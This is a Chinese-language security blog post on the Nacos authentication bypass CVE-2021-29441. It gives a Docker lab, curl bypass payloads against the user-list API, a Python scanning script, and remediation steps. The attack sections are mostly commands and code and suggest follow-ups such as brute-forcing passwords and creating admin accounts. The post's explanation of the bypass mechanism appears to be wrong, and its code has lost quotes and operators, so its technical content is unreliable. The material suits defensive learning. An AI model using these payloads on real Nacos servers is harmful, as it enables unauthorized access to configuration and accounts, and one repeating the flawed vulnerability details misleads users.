1. 项目概述一次对Nacos认证绕过的深度剖析与实战最近在梳理微服务架构的安全基线时我又把目光投向了Nacos。作为当前主流的注册与配置中心它的稳定与安全直接关系到整个微服务体系的命脉。在一次内部红蓝对抗演练的准备过程中我重新审视了历史上一个颇具代表性的漏洞CVE-2021-29441即Nacos的认证绕过漏洞。这个漏洞的巧妙之处在于它并非利用复杂的逻辑缺陷而是源于一个看似不起眼的默认配置和URL路径处理逻辑。很多团队在快速部署Nacos时往往会忽略对认证体系的深入配置这就为攻击者留下了可乘之机。今天我就结合自己的实战经验把这个漏洞的来龙去脉、复现过程以及如何编写一个简洁高效的利用脚本给大家掰开揉碎了讲清楚。无论你是安全工程师想丰富自己的武器库还是运维开发同学想检查自家服务的安全性这篇文章都能提供直接的参考。2. 漏洞原理深度解析默认配置下的“后门”要理解CVE-2021-29441我们必须先回到Nacos的认证授权机制本身。Nacos在1.x版本中为了兼顾易用性与安全性提供了一套基于身份认证的访问控制。其核心是nacos.core.auth.enabled这个配置项当它为true时Nacos会启用认证系统此时访问管理接口如新增用户、修改配置必须携带有效的身份令牌Token。2.1 漏洞的根源未授权访问的端点问题的关键点在于即使开启了认证nacos.core.auth.enabledtrueNacos在默认情况下并没有对所有HTTP API端点都强制实施认证检查。攻击者发现通过构造特定的URL路径可以直接访问一些本应受保护的管理接口而无需提供任何Token。具体来说漏洞存在于Nacos对/v1/auth/users这个API端点的权限校验逻辑上。这个接口用于管理用户如列出用户、创建用户。在正常的、已修复的版本中访问GET /v1/auth/users来列出所有用户服务器会严格检查请求头中是否包含有效的accessToken。然而在存在漏洞的版本中攻击者可以通过在路径中插入特定的字符或使用某些路径遍历技巧绕过这层校验。一种经典的绕过方式是利用URL路径解析的歧义。例如访问/v1/auth/users/../users?pageNo1pageSize10。在某些特定的容器或框架路径解析逻辑下/../可能会被规范化normalized处理但权限校验的过滤器Filter或拦截器Interceptor在处理原始请求路径和规范化后路径时可能出现判断不一致的情况导致校验被绕过。另一种方式可能与HTTP方法有关比如某些实现中对GET请求的校验不严格而POST请求严格但攻击者可以通过GET请求先获取信息再配合其他漏洞进行利用。2.2 影响范围与严重性这个漏洞的影响是巨大的。成功利用意味着攻击者可以在未经验证的情况下枚举现有用户获取Nacos控制台的所有用户名列表为后续的密码爆破或社会工程学攻击提供目标。创建新用户如果对应的POST接口也存在绕过攻击者可以直接创建一个拥有管理员权限的新账户从而完全接管Nacos控制台。操作配置信息进而可能访问、修改或删除Nacos中管理的所有微服务配置信息导致服务配置泄露、服务故障甚至远程代码执行如果配置中存储了敏感连接信息。受影响的Nacos版本主要集中在1.x的某个范围例如1.4.0之前的部分版本。官方在后续版本中修复了此问题修复方式主要是强化了权限校验过滤器确保对所有敏感API路径的访问无论路径如何被解析或访问都必须经过统一的、严格的Token验证。注意漏洞的具体利用路径可能因Nacos的部署方式WAR包独立部署、Spring Boot集成、使用的Web容器Tomcat, Undertow以及版本细微差异而略有不同。实战中需要根据目标环境进行微调。3. 漏洞环境搭建与复现“纸上得来终觉浅绝知此事要躬行。” 安全研究尤其如此。下面我们就在一个完全受控的环境里亲手搭建一个存在漏洞的Nacos服务并复现整个攻击过程。3.1 搭建漏洞靶场环境最快速、最干净的方式是使用Docker。我们直接拉取一个已知存在漏洞的Nacos版本镜像。# 拉取一个较旧的、存在漏洞的Nacos镜像此处以某个1.3.x版本为例具体版本需根据漏洞公告确认 docker pull nacos/nacos-server:1.3.2 # 启动Nacos服务器并开启认证模式 docker run -d \ --name nacos-vulnerable \ -e MODEstandalone \ -e NACOS_AUTH_ENABLEtrue \ # 关键启用认证 -p 8848:8848 \ nacos/nacos-server:1.3.2启动后访问http://your-host-ip:8848/nacos你会看到登录界面。默认账号密码是nacos/nacos。登录后可以在“权限控制”-“用户管理”里看到这是一个开启了认证的环境。现在我们退出登录或者打开一个无痕浏览器窗口模拟一个未认证的攻击者视角。3.2 手动复现认证绕过我们使用最常用的工具curl来测试。首先我们测试正常的、受保护的接口# 尝试直接访问用户列表接口应被拒绝 curl -X GET http://your-host-ip:8848/nacos/v1/auth/users?pageNo1pageSize10预期的返回结果是包含errorCode: 403或message:access denied的JSON表示访问被拒绝。接下来尝试使用漏洞Payload进行绕过。根据公开的漏洞详情一个常见的绕过Payload是构造特殊的请求路径# 尝试使用路径遍历技巧进行绕过Payload可能因版本而异 curl -X GET http://your-host-ip:8848/nacos/v1/auth/users/../users?pageNo1pageSize10或者尝试curl -X GET http://your-host-ip:8848/nacos/v1/auth/users/?pageNo1pageSize10 # 注意观察路径末尾的斜杠 /有时权限校验的正则匹配对路径末尾是否包含斜杠处理不一致。如果漏洞存在你可能会看到返回200 OK状态码并且响应体是一个JSON数组里面包含了系统所有的用户信息如用户名、是否启用等类似于{ totalCount: 1, pageNumber: 1, pagesAvailable: 1, pageItems: [{ username: nacos, password: $2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu, enabled: true }] }这就意味着认证绕过成功了攻击者无需知道任何密码就获取到了系统的用户列表。密码字段虽然是bcrypt加密的但知道了用户名攻击面就打开了。3.3 复现过程中的关键点与注意事项版本精确性漏洞复现成功与否高度依赖Nacos的精确版本。上述示例使用了1.3.2但实际影响版本范围需参考官方CVE公告。如果使用latest标签或较新版本可能无法复现因为漏洞已被修复。部署模式影响MODEstandalone单机模式和集群模式下的表现可能一致但某些配置如前置Nginx可能会影响URL的解析从而干扰Payload的效果。安全实践绝对不要在公网或生产环境尝试此操作这属于未授权访问漏洞的利用在法律上属于攻击行为。所有测试必须在你自己拥有完全控制权的虚拟机或隔离网络中进行。信息记录复现时务必使用Burp Suite、OWASP ZAP等代理工具拦截并观察原始HTTP请求和响应这有助于你理解漏洞触发的确切流量格式为编写脚本打下基础。4. 自动化利用脚本编写与实践手动复现对于理解漏洞固然重要但在安全评估或渗透测试中效率至关重要。我们需要一个自动化脚本来快速检测目标是否存在此漏洞。下面我将用Python编写一个健壮、实用的检测脚本。4.1 脚本设计思路脚本的核心逻辑很简单接收一个目标URL例如http://target:8848。构造多个潜在的绕过Payload路径向目标发送HTTP请求。分析响应状态码和响应体内容判断是否绕过成功。输出清晰的结果报告。为了提高检测成功率我们需要准备一个Payload列表包含历史上针对此类路径校验问题常见的几种变形。4.2 Python利用脚本详解#!/usr/bin/env python3 Nacos CVE-2021-29441 认证绕过漏洞检测脚本 Author: [你的名字] Usage: python3 nacos_auth_bypass.py -u http://target:8848 import argparse import requests import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning # 禁用SSL警告用于测试自签名证书的环境 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def check_vulnerability(target_url): 检测目标Nacos是否存在认证绕过漏洞。 # 定义可能存在的绕过路径Payload集合 # 注意实际有效的Payload可能只有一两种这里列出多种是为了提高检测覆盖率 payloads [ /nacos/v1/auth/users/../users, /nacos/v1/auth/users/, /nacos/v1/auth/users, /nacos/v1/auth/users//, /nacos/v1/auth/users?, # 有时添加无意义的查询参数也可能干扰校验逻辑 /nacos/v1/auth/users?testbypass, ] headers { User-Agent: Mozilla/5.0 (Security Scanner) } print(f[*] 开始检测目标: {target_url}) print(f[*] 尝试 {len(payloads)} 种Payload...) for payload in payloads: test_url urllib.parse.urljoin(target_url, payload) # 添加分页参数使请求更接近合法请求 params {pageNo: 1, pageSize: 10} try: resp requests.get(test_url, paramsparams, headersheaders, timeout10, verifyFalse) # 判断漏洞存在的条件 # 1. 状态码为200 # 2. 响应内容为JSON格式 # 3. JSON中包含用户列表特征如pageItems、username字段 if resp.status_code 200: content_type resp.headers.get(Content-Type, ) if application/json in content_type: try: json_data resp.json() # 关键判断逻辑检查响应结构是否与用户列表接口一致 if isinstance(json_data, dict) and pageItems in json_data: if isinstance(json_data[pageItems], list) and len(json_data[pageItems]) 0: first_user json_data[pageItems][0] if username in first_user: print(f\n[!] 发现漏洞) print(f Payload: {payload}) print(f 状态码: {resp.status_code}) print(f 响应示例: 成功获取到用户列表首个用户为: {first_user.get(username)}) print(f 完整URL: {resp.url}) return True, payload, json_data except ValueError: # 响应不是JSON忽略 pass # 打印进度避免长时间无响应 sys.stdout.write(.) sys.stdout.flush() except requests.exceptions.RequestException as e: print(f\n[-] 请求失败 ({payload}): {e}) continue print(f\n[-] 未发现CVE-2021-29441漏洞。) return False, None, None def main(): parser argparse.ArgumentParser(description检测Nacos CVE-2021-29441认证绕过漏洞) parser.add_argument(-u, --url, requiredTrue, help目标Nacos基础URL如 http://192.168.1.100:8848) parser.add_argument(-o, --output, help将成功的结果输出到文件) args parser.parse_args() target_url args.url.rstrip(/) # 去除末尾可能存在的斜杠 is_vuln, payload, data check_vulnerability(target_url) if is_vuln and args.output: import json with open(args.output, w) as f: result { target: target_url, vulnerable: True, payload: payload, data: data } json.dump(result, f, indent2) print(f[] 结果已保存至: {args.output}) if __name__ __main__: main()4.3 脚本使用与高级技巧基础使用python3 nacos_auth_bypass.py -u http://192.168.1.100:8848脚本核心逻辑解读Payload设计脚本尝试了多种路径变形。在实际渗透测试中你可能需要根据目标的具体情况如中间件类型、版本线索调整或增加Payload。例如加入/v1/auth/users..;/users这种针对Tomcat路径参数;的Payload。判断逻辑不仅仅是检查状态码200。很多接口错误也会返回200。因此脚本严格检查了Content-Type为application/json并尝试解析JSON最终通过判断响应体中是否包含pageItems和username这样的关键字段来确认漏洞。这大大降低了误报率。错误处理与超时设置了超时和异常捕获确保脚本在遇到网络问题或目标无响应时不会崩溃能够继续尝试下一个Payload或优雅退出。结果输出提供了将成功结果输出为JSON文件的功能便于集成到自动化扫描平台或生成报告。高级技巧与扩展并发检测如果需要对大量目标进行扫描可以使用concurrent.futures模块实现多线程并发显著提升效率。指纹识别在检测漏洞前可以先发送一个普通请求如/nacos/通过页面标题、特定JS文件、Cookie名称等判断目标是否为Nacos及其大致版本避免对无关服务发送攻击Payload。漏洞利用链检测到漏洞后脚本可以进一步自动化后续操作例如尝试使用获取到的用户名进行弱密码爆破针对Nacos控制台登录接口或者如果存在创建用户的未授权接口可以尝试添加一个管理员账户。请注意此类操作攻击性极强务必仅在获得明确授权的测试环境中进行。5. 漏洞修复与安全加固建议复现和利用漏洞是为了更好地防御。如果你负责的系统中正在使用受影响的Nacos版本请立即采取行动。5.1 官方修复方案最根本的解决方案是升级Nacos到安全版本。Nacos官方在收到漏洞报告后迅速发布了修复版本。你需要升级到修复了CVE-2021-29441及之后其他安全漏洞的版本。具体版本号请查阅Nacos官方GitHub的Release Notes或安全公告。升级步骤简要提示备份务必完整备份当前的配置文件application.properties或application.yml、数据库如果使用外置数据库以及data目录。停机升级对于单机模式下载新版本发布包替换旧版本文件并确保配置兼容后启动。对于集群模式需要制定滚动升级方案逐个节点进行替换和重启以避免服务注册信息大面积丢失。验证升级后立即使用我们编写的检测脚本或手动测试确认漏洞已修复。同时验证核心功能服务注册、发现、配置管理是否正常。5.2 临时缓解措施如果因客观原因无法立即升级可以考虑以下临时加固方案网络层访问控制这是最有效的一招。严格限制访问Nacos控制台默认8848端口和API端口如9848用于gRPC的源IP地址。在防火墙或安全组上只允许运维平台、CI/CD服务器以及微服务应用所在的服务器网段访问Nacos禁止公网IP或办公网IP直接访问。# 示例使用iptables仅允许特定网段访问8848端口 iptables -A INPUT -p tcp --dport 8848 -s 10.0.1.0/24 -j ACCEPT # 允许应用服务器网段 iptables -A INPUT -p tcp --dport 8848 -s 192.168.1.100 -j ACCEPT # 允许特定管理主机 iptables -A INPUT -p tcp --dport 8848 -j DROP # 拒绝其他所有启用并强化认证确保nacos.core.auth.enabledtrue并为nacos.core.auth.server.identity.key和nacos.core.auth.server.identity.value设置强密码。避免使用默认值。同时为所有用户设置强密码并遵循最小权限原则不要给普通应用使用ROLE_ADMIN权限。使用反向代理增加安全层在Nacos前端部署Nginx或Apache等反向代理。在代理层实施额外的安全策略URL过滤/重写屏蔽或重写可疑的路径请求如包含/../的请求。增加HTTP Basic认证在Nginx层面再加一层用户名密码认证。设置复杂的访问路径不直接暴露/nacos路径改为一个复杂的、难以猜测的路径。# Nginx 配置示例片段 location /my-secret-nacos-path/ { proxy_pass http://nacos-server:8848/nacos/; # 添加基础认证 auth_basic Restricted Access; auth_basic_user_file /etc/nginx/.htpasswd; # 拒绝一些可疑的请求方法 if ($request_method !~ ^(GET|POST|PUT|DELETE)$) { return 405; } }5.3 建立长期安全监控定期更新与漏洞扫描订阅Nacos官方安全公告定期更新版本。使用Nessus, OpenVAS等漏洞扫描器或自研脚本定期对内部服务进行安全扫描。审计日志分析开启Nacos的访问日志并定期审计异常访问模式如大量未授权访问/v1/auth路径的请求。最小权限部署运行Nacos的服务器账户不应具有过高系统权限。数据库连接账户也应仅具有Nacos所需的最小权限。6. 从漏洞复现中提炼的安全思考CVE-2021-29441是一个典型的“默认不安全”和“校验逻辑不一致”导致的漏洞。通过这次完整的复现和分析我们可以得到几点超越这个具体漏洞本身的安全启示1. 默认安全Secure by Default原则的缺失许多开源组件为了降低入门门槛默认配置往往以“能用”为首要目标安全性被置于次要位置。Nacos早期版本默认开启认证但存在绕过就是一个例子。作为架构师或运维在引入任何中间件时第一步必须是查阅其安全配置文档将默认配置向“安全模式”调整而不是直接使用“开箱即用”的配置上生产。2. 纵深防御Defense in Depth的必要性不要依赖单一的安全边界。假设Nacos的认证可以被绕过那么网络层的ACL访问控制列表就成为了第二道至关重要的防线。即使应用层漏洞被利用攻击者也无法从不可达的网络发起请求。在生产环境中从网络、主机、应用到数据层层设防才能最大程度降低风险。3. 安全测试的左移与自动化这个漏洞的利用脚本编写并不复杂。这意味着它可以很容易地集成到CI/CD流水线的安全测试环节中或者成为内部红蓝对抗的常规武器。将常见漏洞的检测能力工具化、自动化并使其在开发测试环境甚至预生产环境中定期运行能够及早发现和修复问题。4. 关注依赖组件的安全态势微服务架构使得系统依赖大量的开源组件。Nacos只是其中之一。我们需要建立一套机制持续监控这些组件的CVE公告、安全更新。可以使用像OWASP Dependency-Check、Trivy这样的软件成分分析SCA工具或者订阅相关社区的安全邮件列表确保漏洞情报能及时触达负责团队。最后我想强调的是漏洞复现和学习的目的永远是为了构建更安全的系统。通过亲手实践我们不仅掌握了攻击的技术细节更重要的是深刻理解了防御的薄弱点应该布防在何处。保持对安全的敬畏之心持续学习才是应对瞬息万变的安全威胁的根本之道。